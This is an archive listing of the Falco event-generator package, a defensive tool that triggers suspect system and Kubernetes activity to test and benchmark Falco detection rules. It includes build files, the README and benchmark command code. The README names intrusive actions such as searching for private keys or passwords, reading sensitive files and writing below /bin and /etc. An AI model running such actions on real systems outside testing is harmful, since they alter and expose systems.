File falco-event-generator-0.12.0.obscpio of Package falco-event-generator

07070100000000000081A400000000000000000000000166F189F100000043000000000000000000000000000000000000002B00000000falco-event-generator-0.12.0/.dockerignoreevent-generator
dist/
events/k8saudit/yaml/bundle.go
evtgen-docgen
07070100000001000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002500000000falco-event-generator-0.12.0/.github07070100000002000081A400000000000000000000000166F189F100000572000000000000000000000000000000000000003E00000000falco-event-generator-0.12.0/.github/PULL_REQUEST_TEMPLATE.md<!--  Thanks for sending a pull request!  Here are some tips for you:

1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md) file.
2. Please label this pull request according to what type of issue you are addressing.
3. Please add a release note: it's really useful for the changelog!
4. If the PR is unfinished while opening it specify a wip in the title before the actual title, for example, "wip: my awesome feature"
-->

**What type of PR is this?**

> Uncomment one (or more) `/kind <>` lines:

> /kind bug

> /kind cleanup

> /kind documentation

> /kind tests

> /kind feature

<!--
Please remove the leading whitespace before the `/kind <>` you uncommented.
-->

**Any specific area of the project related to this PR?**

> Uncomment one (or more) `/area <>` lines:

> /area commands

> /area pkg

> /area events

<!--
Please remove the leading whitespace before the `/area <>` you uncommented.
-->

**What this PR does / why we need it**:

**Which issue(s) this PR fixes**:

<!--
Automatically closes linked issue when PR is merged.
Usage: `Fixes #<issue number>`, or `Fixes (paste link of issue)`.
If PR is `kind/failing-tests` or `kind/flaky-test`, please post the related issues/tests in a comment and do not use `Fixes`.
-->

Fixes #

**Special notes for your reviewer**:

07070100000003000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002F00000000falco-event-generator-0.12.0/.github/workflows07070100000004000081A400000000000000000000000166F189F100000226000000000000000000000000000000000000003700000000falco-event-generator-0.12.0/.github/workflows/ci.yamlname: CI build
on:
  pull_request:

jobs:
  build-and-test:
    name: build-and-test-${{ matrix.arch }}
    runs-on: ${{ (matrix.arch == 'arm64' && 'actuated-arm64-8cpu-16gb') || 'ubuntu-22.04' }}
    strategy:
      matrix:
        arch: [amd64, arm64]
    steps:
      - name: Checkout
        uses: actions/checkout@v3
        with:
          fetch-depth: 0

      - name: Setup Go
        uses: actions/setup-go@v3
        with:
          go-version: 1.23.1

      - name: Build
        run: make build

      - name: Test
        run: make test
07070100000005000081A400000000000000000000000166F189F1000003CC000000000000000000000000000000000000003C00000000falco-event-generator-0.12.0/.github/workflows/release.yamlname: Release

on:
  push:
    tags:
      - "v[0-9]+.[0-9]+.[0-9]+"

jobs:
  release:
    runs-on: ubuntu-22.04
    steps:
      - name: Checkout
        uses: actions/checkout@v3
        with:
          fetch-depth: 0

      - name: Login to Docker Hub
        uses: docker/login-action@v1
        with:
          username: ${{ secrets.DOCKERHUB_USER }}
          password: ${{ secrets.DOCKERHUB_SECRET }}

      - name: Set up QEMU
        uses: docker/setup-qemu-action@v2
        with:
          platforms: "amd64,arm64"

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v2

      - name: Setup Go
        uses: actions/setup-go@v3
        with:
          go-version: 1.23.1

      - name: Run GoReleaser
        uses: goreleaser/goreleaser-action@v3
        with:
          distribution: goreleaser
          version: v1.10.3
          args: release --rm-dist --timeout 60m
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
07070100000006000081A400000000000000000000000166F189F100000043000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/.gitignoreevent-generator
evtgen-docgen
dist/
events/k8saudit/yaml/bundle.go
07070100000007000081A400000000000000000000000166F189F100000854000000000000000000000000000000000000002D00000000falco-event-generator-0.12.0/.goreleaser.ymlproject_name: event-generator
before:
  hooks:
    - make prepare
builds:
  - id: "event-generator"
    goos:
    - linux
    goarch:
    - amd64
    - arm64
    main: .
    flags:
      - -buildmode=pie
    env:
      - CGO_ENABLED=0
    binary: event-generator

dockers:
  - use: buildx
    goos: linux
    goarch: amd64
    dockerfile: Dockerfile
    image_templates:
      - "falcosecurity/event-generator:latest-amd64"
      - "falcosecurity/event-generator:{{ .Version }}-amd64"
    build_flag_templates:
      - "--pull"
      - "--label=org.opencontainers.image.created={{.Date}}"
      - "--label=org.opencontainers.image.name={{.ProjectName}}"
      - "--label=org.opencontainers.image.revision={{.FullCommit}}"
      - "--label=org.opencontainers.image.version={{.Version}}"
    extra_files:
      - .git
      - cmd
      - pkg
      - events
      - tools
      - go.mod
      - go.sum
      - main.go
      - Makefile
  - use: buildx
    goos: linux
    goarch: arm64
    dockerfile: Dockerfile
    image_templates:
      - "falcosecurity/event-generator:latest-arm64v8"
      - "falcosecurity/event-generator:{{ .Version }}-arm64v8"
    build_flag_templates:
      - "--platform=linux/arm64/v8"
      - "--pull"
      - "--label=org.opencontainers.image.created={{.Date}}"
      - "--label=org.opencontainers.image.name={{.ProjectName}}"
      - "--label=org.opencontainers.image.revision={{.FullCommit}}"
      - "--label=org.opencontainers.image.version={{.Version}}"
    extra_files:
      - .git
      - cmd
      - pkg
      - events
      - tools
      - go.mod
      - go.sum
      - main.go
      - Makefile
docker_manifests:
  # https://goreleaser.com/customization/docker_manifest/
  - name_template: falcosecurity/event-generator:{{ .Version }}
    image_templates:
      - falcosecurity/event-generator:{{ .Version }}-amd64
      - falcosecurity/event-generator:{{ .Version }}-arm64v8
  - name_template: falcosecurity/event-generator:latest
    image_templates:
      - falcosecurity/event-generator:latest-amd64
      - falcosecurity/event-generator:latest-arm64v8

release:
  github:
  prerelease: auto
07070100000008000081A400000000000000000000000166F189F10000018E000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/DockerfileFROM golang:1.23.1-alpine3.20 AS builder

LABEL maintainer="cncf-falco-dev@lists.cncf.io"

RUN apk add --no-cache make bash

WORKDIR /event-generator

COPY . .

RUN make


FROM alpine:3.20

RUN apk add --no-cache sudo polkit libcap e2fsprogs-extra openssh nmap netcat-openbsd wget curl

COPY --from=builder /event-generator/event-generator /bin/event-generator

ENTRYPOINT ["/bin/event-generator"]
07070100000009000081A400000000000000000000000166F189F100002C5D000000000000000000000000000000000000002500000000falco-event-generator-0.12.0/LICENSE                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright [yyyy] [name of copyright owner]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
0707010000000A000081A400000000000000000000000166F189F1000009A0000000000000000000000000000000000000002600000000falco-event-generator-0.12.0/Makefile# SPDX-License-Identifier: Apache-2.0
#
# Copyright (C) 2023 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
SHELL=/bin/bash -o pipefail

GO ?= go
DOCKER ?= docker

COMMIT_NO := $(shell git rev-parse HEAD 2> /dev/null || true)
GIT_COMMIT := $(if $(shell git status --porcelain --untracked-files=no),${COMMIT_NO}-dirty,${COMMIT_NO})
GIT_BRANCH ?= $(shell git rev-parse --abbrev-ref HEAD 2>/dev/null)
GIT_BRANCH_CLEAN := $(shell echo $(GIT_BRANCH) | sed -e "s/[^[:alnum:]]/-/g")

VERSION = $(shell git describe --tags)

CLIENTGO_VERSION := $(shell grep 'k8s.io/client-go' go.mod | cut -dv -f2)

IMAGE_NAME ?= docker.io/falcosecurity/event-generator

IMAGE_NAME_BRANCH := $(IMAGE_NAME):$(GIT_BRANCH_CLEAN)
IMAGE_NAME_COMMIT := $(IMAGE_NAME):$(GIT_COMMIT)

LDFLAGS = -X k8s.io/client-go/pkg/version.gitCommit=v$(CLIENTGO_VERSION) \
			-X k8s.io/client-go/pkg/version.gitVersion=$(VERSION)

TEST_FLAGS ?= -v -race

main ?= .
output ?= event-generator
docgen ?= evtgen-docgen

.PHONY: build
build: prepare ${output}

.PHONY: prepare
prepare: clean events/k8saudit/yaml/bundle.go

.PHONY: ${output}
${output}:
	CGO_ENABLED=0 $(GO) build -buildmode=pie -buildvcs=false -ldflags "$(LDFLAGS)" -o $@ ${main}

.PHONY: clean
clean:
	$(RM) -R ${output}
	$(RM) events/k8saudit/yaml/bundle.go
	$(RM) -R ${output} ${docgen}

.PHONY: test
test: events/k8saudit/yaml/bundle.go
	$(GO) vet ./...
	$(GO) test ${TEST_FLAGS} ./...

events/k8saudit/yaml/bundle.go: events/k8saudit/yaml events/k8saudit/yaml/*.yaml
	$(GO) run ./tools/file-bundler/ $<

.PHONY: ${docgen}
${docgen}: ${PWD}/tools/docgen/docgen.go
	$(GO) build -buildvcs=false -v -o $@ $^

.PHONY: docs
docs: ${docgen}
	$(RM) -R docs/*
	@mkdir -p docs
	${PWD}/${docgen}

.PHONY: image
image:
	$(DOCKER) build \
		-t "$(IMAGE_NAME_BRANCH)" \
		-f Dockerfile .
	$(DOCKER) tag "$(IMAGE_NAME_BRANCH)" "$(IMAGE_NAME_COMMIT)"

.PHONY: push
push:
	$(DOCKER) push "$(IMAGE_NAME_BRANCH)"
	$(DOCKER) push "$(IMAGE_NAME_COMMIT)"
0707010000000B000081A400000000000000000000000166F189F100000068000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/OWNERSapprovers:
  - leogr
  - fededp
  - alacuku
emeritus_approvers:
  - leodido
  - fntlnz
  - kris-nova
  
0707010000000C000081A400000000000000000000000166F189F100002C6D000000000000000000000000000000000000002700000000falco-event-generator-0.12.0/README.md
# event-generator
[![Falco Ecosystem Repository](https://github.com/falcosecurity/evolution/blob/main/repos/badges/falco-ecosystem-blue.svg)](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md#ecosystem-scope) [![Incubating](https://img.shields.io/badge/status-incubating-orange?style=for-the-badge)](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md#incubating)

[![Release](https://img.shields.io/github/release/falcosecurity/event-generator.svg?style=flat-square)](https://github.com/falcosecurity/event-generator/releases/latest)
[![License](https://img.shields.io/github/license/falcosecurity/event-generator?style=flat-square)](LICENSE)
[![Go Report Card](https://goreportcard.com/badge/github.com/falcosecurity/event-generator?style=flat-square)](https://goreportcard.com/report/github.com/falcosecurity/event-generator)
[![Docker pulls](https://img.shields.io/docker/pulls/falcosecurity/event-generator?style=flat-square)](https://hub.docker.com/r/falcosecurity/event-generator)
![Architectures](https://img.shields.io/badge/ARCHS-x86__64%7Caarch64-blueviolet?style=flat-square)

Generate a variety of suspect actions that are detected by Falco rulesets.

**Warning** — We strongly recommend that you run the program within Docker (see below), since some commands might alter your system. 
    For example, some actions modify files and directories below /bin, /etc, /dev, etc.
    Make sure you fully understand what is the purpose of this tool before running any action.

**Notice** — From version `v0.11.0` the `event-generator` requires Falco 0.37.0 or newer. Previous versions of the `event-generator` might be compatible with older versions of Falco, however, we do not guarantee it.

## Usage

The full command line documentation is [here](./docs/event-generator.md).

### List actions

```shell
$ event-generator list --all

helper.ExecLs
helper.NetworkActivity
helper.RunShell
k8saudit.ClusterRoleWithPodExecCreated
k8saudit.ClusterRoleWithWildcardCreated
k8saudit.ClusterRoleWithWritePrivilegesCreated
k8saudit.CreateDisallowedPod
k8saudit.CreateHostNetworkPod
k8saudit.CreateModifyConfigmapWithPrivateCredentials
k8saudit.CreateNodePortService
k8saudit.CreatePrivilegedPod
k8saudit.CreateSensitiveMountPod
k8saudit.K8SConfigMapCreated
k8saudit.K8SDeploymentCreated
k8saudit.K8SServiceCreated
k8saudit.K8SServiceaccountCreated
syscall.ChangeThreadNamespace
syscall.CreateFilesBelowDev
syscall.CreateSymlinkOverSensitiveFiles
syscall.DbProgramSpawnedProcess
syscall.DirectoryTraversalMonitoredFileRead
syscall.MkdirBinaryDirs
syscall.ModifyBinaryDirs
syscall.NonSudoSetuid
syscall.ReadSensitiveFileTrustedAfterStartup
syscall.ReadSensitiveFileUntrusted
syscall.RunShellUntrusted
syscall.ScheduleCronJobs
syscall.SearchPrivateKeysOrPasswords
syscall.SystemProcsNetworkActivity
syscall.SystemUserInteractive
syscall.UserMgmtBinaries
syscall.WriteBelowBinaryDir
syscall.WriteBelowEtc
syscall.WriteBelowRpmDatabase
```

### Run actions
```
event-generator run [regexp]
```
Without arguments, it runs all actions; otherwise, only those actions match the given regular expression.

For example, to run only those actions containing the word `Files` in their name:

```shell
$ sudo event-generator run syscall\.\*Files\.\*

INFO sleep for 100ms                               action=syscall.ReadSensitiveFileUntrusted
INFO action executed                               action=syscall.ReadSensitiveFileUntrusted
INFO sleep for 100ms                               action=syscall.CreateSymlinkOverSensitiveFiles
INFO action executed                               action=syscall.CreateSymlinkOverSensitiveFiles
INFO sleep for 100ms                               action=syscall.DirectoryTraversalMonitoredFileRead
INFO action executed                               action=syscall.DirectoryTraversalMonitoredFileRead
INFO sleep for 100ms                               action=syscall.ReadSensitiveFileTrustedAfterStartup
INFO spawn as "httpd"                              action=syscall.ReadSensitiveFileTrustedAfterStartup args="^syscall.ReadSensitiveFileUntrusted$ --sleep 6s"
INFO sleep for 6s                                  action=syscall.ReadSensitiveFileUntrusted as=httpd
INFO action executed                               action=syscall.ReadSensitiveFileUntrusted as=httpd
```

Useful options:
- `--loop` to run actions in a loop
- `--sleep` to set the length of time to wait before running an action (default to `100ms`)

Also, note that not all actions are enabled by default. To run all actions, use the `--all` option.

Further options are documented [here](./docs/event-generator_run.md).


#### With Docker

Run all events with the Docker image locally:

```shell
docker run -it --rm falcosecurity/event-generator run
```


#### With Kubernetes

It can be deployed in a Kubernetes cluster using the event-generator [helm chart](https://github.com/falcosecurity/charts/tree/master/charts/event-generator).
Before installing the chart, add the `falcosecurity` charts repository:

```bash
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
```

Run all events once using a Kubernetes job:

```shell
helm install event-generator falcosecurity/event-generator \
  --namespace event-generator \
  --create-namespace \
  --set config.loop=false \
  --set config.actions=""
```

Run all events in a loop using a Kubernetes deployment:

```bash
helm install event-generator falcosecurity/event-generator \
  --namespace event-generator \
  --create-namespace \
  --set config.actions=""
```


**N.B.**
The above commands apply to the `event-generator` namespace. Use a different name to use a different namespace. It will generate events in the same namespace.

## Collections

### Generate System Call activity
The `syscall` collection performs a variety of suspect actions detected by the [default Falco ruleset](https://github.com/falcosecurity/rules/tree/main/rules).

```shell
$ docker run -it --rm falcosecurity/event-generator run syscall --loop
```

The above command loops forever, incessantly generating a sample event every 100 miliseconds. 


### Generate activity for the k8s audit rules
The `k8saudit` collection generates activity that matches the [k8s audit event ruleset](https://github.com/falcosecurity/plugins/blob/master/plugins/k8saudit/rules/k8s_audit_rules.yaml).

Note that all `k8saudit` are disabled by default. To enable them, use the `--all` option.

```shell
$ event-generator run k8saudit --all --loop --namespace `falco-eg-sandbox`
```
> N.B.: the namespace must exist already.

The above command loops forever, creating resources in the `falco-eg-sandbox` namespace and deleting the after each iteration.

**N.B.**
- the namespace must already exist
- to produce any effect the Kubernetes audit log must be enabled, see [here](https://falco.org/docs/event-sources/kubernetes-audit/)


## Test rules

Since `v0.4.0`, this tool introduces a convenient integration test suite for Falco rules. The `event-generator test` command can run actions and test them against a running Falco instance.

> This feature requires Falco 0.24.0 or newer. Before using the command below, you need [Falco installed](https://falco.org/docs/installation/) and running with the [gRPC Output](https://falco.org/docs/grpc/) enabled.

#### Test locally (`syscall` only)

Run the following command to test `syscall` actions on a local Falco instance (connects via Unix socket to `/run/falco/falco.sock` by default):

```shell
sudo ./event-generator test syscall
```

#### Test on Kubernetes

Before running the following commands make sure you have added the `falcosecurity` charts repository as explained [here](#with-kubernetes).

Test all events once using a Kubernetes job:

```shell
helm install event-generator falcosecurity/event-generator \
  --namespace event-generator \
  --create-namespace \
  --set config.command=test \
  --set config.loop=false \
  --set config.actions=""
```

Test all events in a loop using a Kubernetes deployment:

```bash
helm install event-generator falcosecurity/event-generator \
  --namespace event-generator \
  --create-namespace \
  --set config.command=test \
  --set config.actions=""
```

Note that to test `k8saudit` events, you need _Kubernetes Audit Log_ functionality enabled in Kubernetes and the [k8saudit plugin](https://github.com/falcosecurity/plugins/tree/master/plugins/k8saudit) in Falco.

## Benchmark

Since `v0.5.0`, the `event-generator` can also be used for benchmarking a running instance of Falco. The command `event-generator bench` generates a high number of Event Per Second (EPS) to show you events throughput allowed by your Falco installation.

Be aware that before Falco 0.37 a rate-limiter for notifications that affects the gRPC Outputs APIs was present. You probably need to increase the `outputs.rate` and `outputs.max_burst` values [within the Falco configuration](https://github.com/falcosecurity/falco/blob/e2bf87d207a32401da271835e15dadf957f68e8c/falco.yaml#L90-L104), otherwise EPS will be rate-limited by the throttling mechanism. 

### Run a benchmark

Before starting a benchmark, the most important thing to understand is that the `--sleep` option controls the number of EPS (default to `250ms`): reducing this value will increase the EPS. Furthermore, if the `--loop` option is set, the sleeping duration is automatically halved on each round. The `--pid` option can be used to monitor the Falco process. 

> You can find more details about the command-line usage [here](docs/event-generator_bench.md).

Please, keep in mind that not all actions can be used for benchmarking since some of them take too long to generate a high number of EPS. For example, `k8saudit` actions are not supposed to work, since those actions need some time to create Kubernetes resources. Also, some `syscall` actions sleep for a while (like the [syscall.ReadSensitiveFileUntrusted](https://github.com/falcosecurity/event-generator/blob/7bf714aab8da5a3f6d930225f04852e97d682dac/events/syscall/read_sensitive_file_trusted_after_startup.go#L10)) thus cannot be used.

**Benchmark example**

A common way for benchmarking a local Falco instance is by running the following command (that connects via Unix socket to `/run/falco/falco.sock` by default):

```shell
sudo event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco)
```

## FAQ

### What sample events can this tool generate?
See the [events registry](https://github.com/falcosecurity/event-generator/tree/main/events).

### Can I contribute by adding new events?
Sure! 

Check out the [events registry](https://github.com/falcosecurity/event-generator/tree/main/events) conventions, then feel free to open a PR!

Your contribution is highly appreciated.

### Can I use this project as a library?
This project provides three main packages that can be imported and used separately:

- `/cmd` contains the CLI implementation
- `/events` contains the events registry
- `/pkg/runner` contains the actions runner implementations

Feel free to use them as you like on your projects.

## Acknowledgments

Special thanks to Mark Stemm (**@mstemm**) — the author of the [first event generator](https://github.com/falcosecurity/falco/tree/2126616529e7015ff88653b7491dc1937d7e54e5/docker/event-generator).
0707010000000D000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002100000000falco-event-generator-0.12.0/cmd0707010000000E000081A400000000000000000000000166F189F100000F77000000000000000000000000000000000000002A00000000falco-event-generator-0.12.0/cmd/bench.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package cmd

import (
	"errors"
	"time"

	"github.com/falcosecurity/event-generator/pkg/counter"
	"github.com/falcosecurity/event-generator/pkg/runner"

	logger "github.com/sirupsen/logrus"
	"github.com/spf13/cobra"
)

var errRoundDurationMustBeLongerThanSleep = errors.New("--round-duration must be longer than --sleep")

// NewBench instantiates the bench subcommand.
func NewBench() *cobra.Command {
	c, runEWithOpts := newRunTemplate()

	c.Use = "bench [regexp]"
	c.Short = "Benchmark for Falco"
	c.Long = `Benchmark a running Falco instance.

This command generates a high number of Event Per Second (EPS), to test the events throughput allowed by Falco.
The number of EPS is controlled by the "--sleep" option: reduce the sleeping duration to increase the EPS.
If the "--loop" option is set, the sleeping duration is halved on each round.
The "--pid" option can be used to monitor the Falco process.
	
N.B.:
	- the Falco gRPC Output must be enabled to use this command
	- "outputs.rate" and "outputs.max_burst" values within the Falco configuration must be increased,
	  otherwise EPS will be rate-limited by the throttling mechanism
	- since not all actions can be used for benchmarking,
	  only those actions matching the given regular expression are used

One commmon way to use this command is as following:

	event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco)


` + runWarningMessage

	c.Args = cobra.ExactArgs(1)

	flags := c.Flags()

	var pid int
	flags.IntVar(&pid, "pid", 0, "A process PID to monitor while benchmarking (e.g. the falco process)")
	var roundDuration time.Duration
	flags.DurationVar(&roundDuration, "round-duration", time.Second*5, "Duration of a benchmark round")
	var pollingTimeout time.Duration
	flags.DurationVar(&pollingTimeout, "polling-interval", time.Millisecond*100, "Duration of gRPC APIs polling timeout")
	var humanize bool
	flags.BoolVar(&humanize, "humanize", true, "Humanize values when printing statistics")
	var dryRun bool
	flags.BoolVar(&dryRun, "dry-run", false, "Do not connect to Falco gRPC API")

	grpcCfg := grpcFlags(flags)

	l := logger.StandardLogger()

	c.RunE = func(c *cobra.Command, args []string) error {

		evts, err := parseEventsArg(args[0])
		if err != nil {
			return err
		}

		loop, err := flags.GetBool("loop")
		if err != nil {
			return err
		}

		sleep, err := flags.GetDuration("sleep")
		if err != nil {
			return err
		}

		if roundDuration <= sleep {
			return errRoundDurationMustBeLongerThanSleep
		}

		opts := append([]counter.Option(nil),
			counter.WithActions(evts),
			counter.WithLogger(l),
			counter.WithLoop(loop),
			counter.WithSleep(sleep),
			counter.WithRoundDuration(roundDuration),
			counter.WithPollingTimeout(pollingTimeout),
			counter.WithHumanize(humanize),
			counter.WithDryRun(dryRun),
		)
		if pid != 0 {
			opts = append(opts, counter.WithPid(pid))
		}
		p, err := counter.New(c.Context(), grpcCfg, opts...)
		if err != nil {
			return err
		}

		return runEWithOpts(c, args,
			runner.WithPlugin(p),
			// override runner options:
			runner.WithQuiet(true),             // reduce runner verbosity
			runner.WithSleep(time.Duration(0)), // no sleep, since sleeping will be controlled by the plugin
			runner.WithLoop(true),              // always loop
		)
	}

	return c
}
0707010000000F000081A400000000000000000000000166F189F10000077E000000000000000000000000000000000000002B00000000falco-event-generator-0.12.0/cmd/common.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package cmd

import (
	"fmt"
	"regexp"

	"github.com/falcosecurity/client-go/pkg/client"
	"github.com/falcosecurity/event-generator/events"
	"github.com/spf13/pflag"
)

func parseEventsArg(arg string) (map[string]events.Action, error) {
	reg, err := regexp.Compile(arg)
	if err != nil {
		return nil, err
	}

	evts := events.ByRegexp(reg)
	if len(evts) == 0 {
		return nil, fmt.Errorf(`no events matching '%s'`, arg)
	}

	return evts, nil
}

